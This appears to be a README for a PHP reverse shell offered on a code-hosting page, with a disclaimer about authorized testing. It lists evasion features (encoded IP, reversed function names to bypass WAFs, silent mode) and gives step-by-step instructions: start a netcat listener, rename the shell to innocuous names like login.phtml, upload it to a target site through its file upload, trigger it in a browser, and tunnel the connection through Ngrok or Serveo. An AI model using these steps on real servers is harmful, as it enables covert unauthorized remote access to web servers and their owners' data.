s_r_e_e_r_a_j/php-reverse-shellThis is a powerful and stealthy PHP reverse shell designed for ethical hacking and penetration testing. It establishes a reliable and quiet connection back to your machine.
This is a powerful and stealthy PHP reverse shell designed for ethical hacking and penetration testing. It establishes a reliable and quiet connection back to your machine.
This PHP reverse shell is developed strictly for educational and authorized penetration testing purposes only.
The developer is not responsible for any misuse, damage, or illegal activity performed using this reverse_shell.
Use responsibly and only on systems you own or have explicit permission to test. Unauthorized access is illegal and punishable by law.
IP and shell command are Base64 encoded for stealth
Function names are reversed to bypass WAF and security filters
Silent mode — no output displayed to avoid detection
Automatically reconnects if connection drops
Can run as a background daemon (if server supports)
Works on most PHP-enabled servers
Supports tunneling services like Ngrok, Serveo
Upload with .phtml extension to bypass some filters
1. Start a listener on your machine
nc -lvnp 4444
2. Encode your IP or hostname in Base64
Use this simple command:
echo "your_ip_or_hostname" | base64
Example:
echo "192.168.1.5" | base64
Copy the output and replace the $ip_b64 value in the PHP reverse shell script.
3. Update your PHP reverse shell script:
Change these lines with your Base64 encoded IP/hostname and port:
$ip_b64 = 'YOUR_BASE64_ENCODED_IP_OR_HOSTNAME';
$port = YOUR_LISTENER_PORT;
4. Rename the file and upload
Rename the file to something less suspicious, for example:
login.phtml
avatar.phtml
update.phtml
Using the .phtml extension helps the file run on some servers that block .php.
Upload this file to the target website where file uploads are allowed.
5. Trigger the reverse shell
Open the uploaded file in a browser:
http://target.com/uploads/login.phtml
Once opened, your listener will get a reverse shell connection.
If you're using mobile data or behind a router (NAT), your IP might not be public. In that case, the reverse shell can't reach your machine directly.
To fix this, use TCP tunneling tools like Ngrok or Serveo.
Install Ngrok
Run this command:
ngrok tcp 4444
It will show something like:
Forwarding tcp://4.tcp.ngrok.io:18900
Update your PHP reverse shell script:
$ip_b64 = base64_encoded of 4.tcp.ngrok.io;
$port = 18900;
Start your listener:
nc -lvnp 4444
Run this command:
ssh -R 0:localhost:4444 serveo.net
It will say something like:
Forwarding TCP connections from serveo.net:46603
Update your PHP reverse shell script:
$ip_b64 = base64_encoded of serveo.net;
$port = 46603;
Start your listener:
nc -lvnp 4444
This project is licensed under the GNU General Public License v3.0